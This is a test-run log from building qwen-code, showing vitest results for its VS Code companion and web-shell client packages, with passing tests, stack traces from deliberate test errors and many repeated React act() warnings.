at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:26
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1897:20
at new Promise ()
at runWithTimeout (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1863:10)
at runTest (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1574:12)
[settingsWriter] snapshotSettingsForRollback failed; credential rollback disabled: Error
✓ src/services/settingsWriter.test.ts (17 tests) 1382ms
✓ settingsWriter > clears stale coding plan metadata when writing api-key providers 308ms
✓ src/services/qwenSessionUpdateHandler.test.ts (19 tests) 899ms
✓ src/ide-server.test.ts (13 tests | 1 skipped) 4878ms
✓ IDEServer > should set environment variables and workspace path on start with multiple folders 523ms
✓ IDEServer > auth token > should reject request without auth token 2282ms
✓ IDEServer > auth token > should allow request with valid auth token 662ms
✓ IDEServer > auth token > should reject request with malformed auth token 325ms
✓ src/open-files-manager.test.ts (17 tests) 1351ms
✓ OpenFilesManager > adds a file to the list 319ms
stdout | src/webview/handlers/FileMessageHandler.test.ts > FileMessageHandler > searches files using fuzzy search when query is provided
[FileMessageHandler] handleGetWorkspaceFiles start { query: [32m'txt'[39m, requestId: [33m7[39m }
[FileMessageHandler] Searching workspace files with fuzzy search for query txt
stdout | src/webview/handlers/FileMessageHandler.test.ts > FileMessageHandler > searches files using fuzzy search when query is provided
[FileMessageHandler] Sent final workspaceFiles [33m2[39m
stdout | src/webview/handlers/FileMessageHandler.test.ts > FileMessageHandler > filters ignored paths in non-query mode
[FileMessageHandler] handleGetWorkspaceFiles start { query: [90mundefined[39m, requestId: [33m7[39m }
[FileMessageHandler] Sent initial workspaceFiles (open tabs/active) [33m0[39m
stdout | src/webview/handlers/FileMessageHandler.test.ts > FileMessageHandler > filters ignored paths in non-query mode
[FileMessageHandler] Sent final workspaceFiles [33m1[39m
stdout | src/webview/handlers/FileMessageHandler.test.ts > FileMessageHandler > openFile resolves relative paths against the workspace
[FileOperations] Opening file: src/app.ts
stdout | src/webview/handlers/FileMessageHandler.test.ts > FileMessageHandler > openFile resolves relative paths against the workspace
[FileOperations] File opened successfully: /workspace/src/app.ts
stdout | src/webview/handlers/FileMessageHandler.test.ts > FileMessageHandler > openFile keeps UNC paths absolute
[FileOperations] Opening file: \\server\share\app.ts
stdout | src/webview/handlers/FileMessageHandler.test.ts > FileMessageHandler > openFile keeps UNC paths absolute
[FileOperations] File opened successfully: \\server\share\app.ts
stdout | src/webview/handlers/FileMessageHandler.test.ts > FileMessageHandler > openFile clamps zero line and column values to the file start
[FileOperations] Opening file: src/app.ts:0:0
stdout | src/webview/handlers/FileMessageHandler.test.ts > FileMessageHandler > openFile clamps zero line and column values to the file start
[FileOperations] File opened successfully: /workspace/src/app.ts
stdout | src/webview/handlers/FileMessageHandler.test.ts > FileMessageHandler > createAndOpenTempFile viewColumn selection > opens in left group when chat webview has a left neighbor
[FileMessageHandler] Created and opened readonly file: [object Object] in viewColumn: [33m1[39m
stdout | src/webview/handlers/FileMessageHandler.test.ts > FileMessageHandler > createAndOpenTempFile viewColumn selection > opens in right group when no left neighbor but right exists
[FileMessageHandler] Created and opened readonly file: [object Object] in viewColumn: [33m2[39m
stdout | src/webview/handlers/FileMessageHandler.test.ts > FileMessageHandler > createAndOpenTempFile viewColumn selection > falls back to ViewColumn.Beside when neither left nor right neighbor exists
[FileMessageHandler] Created and opened readonly file: [object Object] in viewColumn: [33m-2[39m
✓ src/webview/handlers/FileMessageHandler.test.ts (8 tests) 704ms
✓ src/webview/handlers/AuthMessageHandler.test.ts (10 tests) 605ms
✓ src/extension.test.ts (14 tests) 3117ms
✓ activate > should show the info message on first activation 1723ms
✓ src/utils/paths.test.ts (18 tests) 787ms
stdout | src/services/acpConnection.test.ts > AcpConnection process spawning > runs the managed ACP child in Electron Node mode
[ACP] Spawning command: /usr/bin/node /usr/bin/node --acp --channel=VSCode
✓ src/services/acpConnection.test.ts (18 tests) 587ms
stderr | src/webview/utils/imageHandler.test.ts > imageHandler > returns null when file write throws
[ImageHandler] Failed to save image: Error: disk full
at [90m/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/webview/utils/imageHandler.test.ts:111:41
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:155:11
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:26
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1897:20
at new Promise ()
at runWithTimeout (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1863:10)
at runTest (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1574:12)
[90m at processTicksAndRejections (node:internal/process/task_queues:104:5)[39m
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
✓ src/webview/utils/imageHandler.test.ts (13 tests) 932ms
✓ src/utils/acpModelInfo.test.ts (15 tests) 510ms
stderr | src/services/conversationStore.test.ts > ConversationStore > replaceMessages returns false when the conversation is missing
[ConversationStore] replaceMessages: conversation not found: missing
stderr | src/services/conversationStore.test.ts > ConversationStore > renameConversationId returns false when the target id already exists
[ConversationStore] renameConversationId: target conversation already exists: session-1
stderr | src/services/conversationStore.test.ts > ConversationStore > truncateFromUserTurn returns false when the target turn is missing
[ConversationStore] truncateFromUserTurn: target turn not found: [33m4[39m
✓ src/services/conversationStore.test.ts (8 tests) 764ms
✓ ConversationStore > replaceMessages replaces messages with cloned entries 315ms
stdout | src/services/acpFileHandler.test.ts > AcpFileHandler > handleReadTextFile > returns full content when no line/limit specified
[ACP] fs/read_text_file request received for: /test/file.txt
[ACP] Parameters: { line: [1mnull[22m, limit: [1mnull[22m, sessionId: [32m'sid'[39m }
stdout | src/services/acpFileHandler.test.ts > AcpFileHandler > handleReadTextFile > returns full content when no line/limit specified
[ACP] Successfully read file: /test/file.txt (18 chars)
[ACP] Returning full file content
stdout | src/services/acpFileHandler.test.ts > AcpFileHandler > handleReadTextFile > uses 1-based line indexing (ACP spec)
[ACP] fs/read_text_file request received for: /test/file.txt
[ACP] Parameters: { line: [33m2[39m, limit: [33m2[39m, sessionId: [32m'sid'[39m }
stdout | src/services/acpFileHandler.test.ts > AcpFileHandler > handleReadTextFile > uses 1-based line indexing (ACP spec)
[ACP] Successfully read file: /test/file.txt (29 chars)
[ACP] Returning 2 lines
stdout | src/services/acpFileHandler.test.ts > AcpFileHandler > handleReadTextFile > treats line=1 as first line
[ACP] fs/read_text_file request received for: /test/file.txt
[ACP] Parameters: { line: [33m1[39m, limit: [33m1[39m, sessionId: [32m'sid'[39m }
stdout | src/services/acpFileHandler.test.ts > AcpFileHandler > handleReadTextFile > treats line=1 as first line
[ACP] Successfully read file: /test/file.txt (18 chars)
[ACP] Returning 1 lines
stdout | src/services/acpFileHandler.test.ts > AcpFileHandler > handleReadTextFile > defaults to line=1 when line is null but limit is set
[ACP] fs/read_text_file request received for: /test/file.txt
[ACP] Parameters: { line: [1mnull[22m, limit: [33m2[39m, sessionId: [32m'sid'[39m }
stdout | src/services/acpFileHandler.test.ts > AcpFileHandler > handleReadTextFile > defaults to line=1 when line is null but limit is set
[ACP] Successfully read file: /test/file.txt (7 chars)
[ACP] Returning 2 lines
stdout | src/services/acpFileHandler.test.ts > AcpFileHandler > handleReadTextFile > clamps negative line values to 0
[ACP] fs/read_text_file request received for: /test/file.txt
[ACP] Parameters: { line: [33m-5[39m, limit: [1mnull[22m, sessionId: [32m'sid'[39m }
stdout | src/services/acpFileHandler.test.ts > AcpFileHandler > handleReadTextFile > clamps negative line values to 0
[ACP] Successfully read file: /test/file.txt (5 chars)
[ACP] Returning 3 lines
stdout | src/services/acpFileHandler.test.ts > AcpFileHandler > handleReadTextFile > propagates ENOENT errors
[ACP] fs/read_text_file request received for: /missing/file.txt
[ACP] Parameters: { line: [1mnull[22m, limit: [1mnull[22m, sessionId: [32m'sid'[39m }
stderr | src/services/acpFileHandler.test.ts > AcpFileHandler > handleReadTextFile > propagates ENOENT errors
[ACP] Failed to read file /missing/file.txt: ENOENT
stdout | src/services/acpFileHandler.test.ts > AcpFileHandler > handleReadTextFile > normalises VS Code FileNotFound to ENOENT
[ACP] fs/read_text_file request received for: /missing/file.txt
[ACP] Parameters: { line: [1mnull[22m, limit: [1mnull[22m, sessionId: [32m'sid'[39m }
stderr | src/services/acpFileHandler.test.ts > AcpFileHandler > handleReadTextFile > normalises VS Code FileNotFound to ENOENT
[ACP] Failed to read file /missing/file.txt: file not found
stdout | src/services/acpFileHandler.test.ts > AcpFileHandler > handleWriteTextFile > creates directory and uses WorkspaceEdit for existing file
[ACP] fs/write_text_file request received for: /test/dir/file.txt
[ACP] Content size: 5 bytes
[ACP] Ensuring directory exists: /test/dir
stdout | src/services/acpFileHandler.test.ts > AcpFileHandler > handleWriteTextFile > creates directory and uses WorkspaceEdit for existing file
[ACP] Successfully wrote file: /test/dir/file.txt
stdout | src/services/acpFileHandler.test.ts > AcpFileHandler > handleWriteTextFile > writes bytes directly for new (non-existing) file
[ACP] fs/write_text_file request received for: /test/dir/newfile.txt
[ACP] Content size: 5 bytes
[ACP] Ensuring directory exists: /test/dir
stdout | src/services/acpFileHandler.test.ts > AcpFileHandler > handleWriteTextFile > writes bytes directly for new (non-existing) file
[ACP] Successfully wrote file: /test/dir/newfile.txt
✓ src/services/acpFileHandler.test.ts (9 tests) 724ms
✓ src/services/sessionExportService.test.ts (9 tests) 536ms
stdout | src/services/qwenAgentManager.test.ts > QwenAgentManager.createNewSession > creates a fresh ACP session when explicitly requested even if one is already active
[QwenAgentManager] Creating new session...
stdout | src/services/qwenAgentManager.test.ts > QwenAgentManager.createNewSession > creates a fresh ACP session when explicitly requested even if one is already active
[QwenAgentManager] newSession returned session: session-2
[QwenAgentManager] New session created with ID: session-2
stdout | src/services/qwenAgentManager.test.ts > QwenAgentManager.createNewSession > creates a distinct fresh session after an in-flight bootstrap when forceNew is requested
[QwenAgentManager] createNewSession: session creation already in flight
stdout | src/services/qwenAgentManager.test.ts > QwenAgentManager.createNewSession > creates a distinct fresh session after an in-flight bootstrap when forceNew is requested
[QwenAgentManager] Creating new session...
stdout | src/services/qwenAgentManager.test.ts > QwenAgentManager.createNewSession > creates a distinct fresh session after an in-flight bootstrap when forceNew is requested
[QwenAgentManager] newSession returned session: session-2
[QwenAgentManager] New session created with ID: session-2
✓ src/services/qwenAgentManager.test.ts (9 tests) 510ms
✓ src/commands/index.test.ts (5 tests) 391ms
✓ src/utils/editorGroupUtils.test.ts (12 tests) 284ms
✓ src/webview/utils/utils.test.ts (15 tests) 315ms
✓ src/webview/utils/completionUtils.test.ts (14 tests) 287ms
✓ src/webview/utils/discontinuedModel.test.ts (13 tests) 354ms
✓ src/webview/hooks/useWebViewMessages.test.ts (5 tests) 377ms
✓ src/utils/logger.test.ts (5 tests) 646ms
✓ logger > formats errors and objects without exposing sensitive fields 356ms
✓ src/webview/hooks/useVSCode.test.ts (3 tests) 784ms
✓ initializeWebviewLogger > forwards webview logs to the extension host 509ms
✓ src/webview/hooks/useImage.test.ts (6 tests) 858ms
✓ useImage browser bundle > bundles without resolving node-only qwen-code-core modules 554ms
✓ src/webview/providers/WebViewContent.test.ts (5 tests) 223ms
✓ src/services/subscriptionPlanDefinitions.test.ts (2 tests) 345ms
✓ src/webview/utils/slashCommandUtils.test.ts (6 tests) 335ms
✓ scripts/generate-notices.test.js (4 tests) 401ms
✓ src/webview/utils/contextUsage.test.ts (4 tests) 218ms
✓ src/webview/providers/ChatWebviewViewProvider.test.ts (2 tests) 305ms
✓ src/webview/providers/ChatProviderRegistry.test.ts (2 tests) 278ms
✓ src/utils/imageSupport.bundle.test.ts (2 tests) 1407ms
✓ imageSupport browser bundling > does not leave qwen-code-core runtime imports in the webview bundle 525ms
✓ imageSupport browser bundling > does not leave qwen-code-core runtime imports in the App webview bundle 801ms
✓ src/package.test.ts (2 tests) 191ms
✓ src/webview/providers/chatViewRegistration.test.ts (1 test) 234ms
✓ src/utils/file-path.test.ts (4 tests) 173ms
✓ src/utils/errorMessage.test.ts (2 tests) 169ms
✓ src/utils/imageSupport.test.ts (1 test) 165ms
stdout | src/webview/hooks/useWebViewMessages.test.tsx > useWebViewMessages > ignores background streamEnd while a tagged request is active
[useWebViewMessages] Ignoring stale/untagged streamEnd: [1mnull[22m active: req-1 source: background_notification
stderr | src/webview/hooks/useWebViewMessages.test.tsx > useWebViewMessages > ignores conversation rewind events when the target turn is missing
[useWebViewMessages] conversationRewound target turn not found: [33m99[39m
✓ src/webview/hooks/useWebViewMessages.test.tsx (14 tests) 2556ms
✓ useWebViewMessages > fully resets local UI state when a conversation is cleared 742ms
✓ useWebViewMessages > ignores conversation rewind events when the target turn is missing 488ms
✓ src/webview/App.test.tsx (10 tests) 4887ms
✓ App /skills secondary picker > opens the secondary picker after selecting /skills 2505ms
✓ App /skills secondary picker > sends /skills when pressing Enter on a skill item 472ms
✓ App /skills secondary picker > fills /skills without sending when pressing Tab on a skill item 399ms
✓ App /skills secondary picker > fills slash commands that declare input when pressing Enter 308ms
✓ App /skills secondary picker > blurs and preserves composer text on idle cancel without cancelling the session 305ms
✓ src/webview/hooks/useMessageSubmit.test.ts (22 tests) 1643ms
✓ useMessageSubmit > posts a normal sendMessage payload for non-edit submissions 646ms
✓ src/webview/components/layout/ModelSelector.test.tsx (9 tests) 3614ms
✓ ModelSelector — discontinued state (Issue #3745) > renders the (Discontinued) badge for non-runtime Qwen OAuth models 1651ms
✓ ModelSelector — discontinued state (Issue #3745) > replaces description with the migration hint for discontinued models 308ms
✓ ModelSelector — discontinued state (Issue #3745) > blocks click selection on a discontinued model and surfaces an inline error 443ms
✓ src/webview/components/messages/toolcalls/index.test.tsx (3 tests) 1037ms
✓ ToolCallRouter agent execution rendering > renders a dedicated view for structured agent progress and summary 654ms
✓ src/webview/hooks/message/useMessageHandling.test.tsx (3 tests) 1604ms
✓ useMessageHandling > assigns the second assistant segment a newer timestamp so a tool call can sort between the two segments 684ms
✓ useMessageHandling > keeps every assistant segment of a turn before a user message that was sent between segments (#3273) 731ms
✓ src/webview/components/layout/InputForm.test.tsx (2 tests) 2039ms
✓ InputForm completion keyboard handling > uses onCompletionFill for Tab without triggering onCompletionSelect 1514ms
✓ InputForm completion keyboard handling > keeps Enter mapped to onCompletionSelect 479ms
✓ src/webview/hooks/useToolCalls.test.tsx (2 tests) 799ms
✓ useToolCalls > stores structured rawOutput for agent tool calls across updates 658ms
✓ src/webview/components/layout/ProviderSetupForm.test.tsx (1 test) 2122ms
✓ ProviderSetupForm > leaves connecting state when auth flow is cancelled 2074ms
✓ src/webview/components/layout/Onboarding.test.tsx (1 test) 1140ms
✓ Onboarding > renders the logo without requiring an extension URI on the body 1082ms
Test Files 50 passed (50)
Tests 472 passed | 1 skipped (473)
Start at 13:36:26
Duration 1050.98s (transform 106.34s, setup 0ms, collect 574.30s, tests 58.37s, environment 99.03s, prepare 102.06s)
npm notice run @qwen-code/web-shell@0.21.5 test
RUN v3.2.4 /build/qwen-code/src/qwen-code/packages/web-shell/client
stderr | App.test.tsx > App shell command queueing > reports an error and skips the command when session creation fails
[web-shell] no session Error: no session
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/App.test.tsx:2825:7
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:155:11
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:26
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1897:20
at new Promise ()
at runWithTimeout (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1863:10)
at runTest (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1574:12)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
at runFiles (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1787:3)
stderr | App.test.tsx > App shell command queueing > continues draining after a command fails
[web-shell] boom Error: boom
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/App.test.tsx:3360:30
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:20
stderr | App.test.tsx > App session callbacks > uses the session catalog title when the connection has no display name
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > uses the session catalog title when the connection has no display name
An update to Popper inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to Presence inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > keeps the persistent chat header opt-in for existing integrations
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > lets a custom renderer replace the complete persistent chat header
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > keeps legacy task status for a custom header without explicit header configuration
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > controls the built-in chat header actions through header items
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > hides the complete chat header when header items are empty
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > opens environment information without restoring composer Git information
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
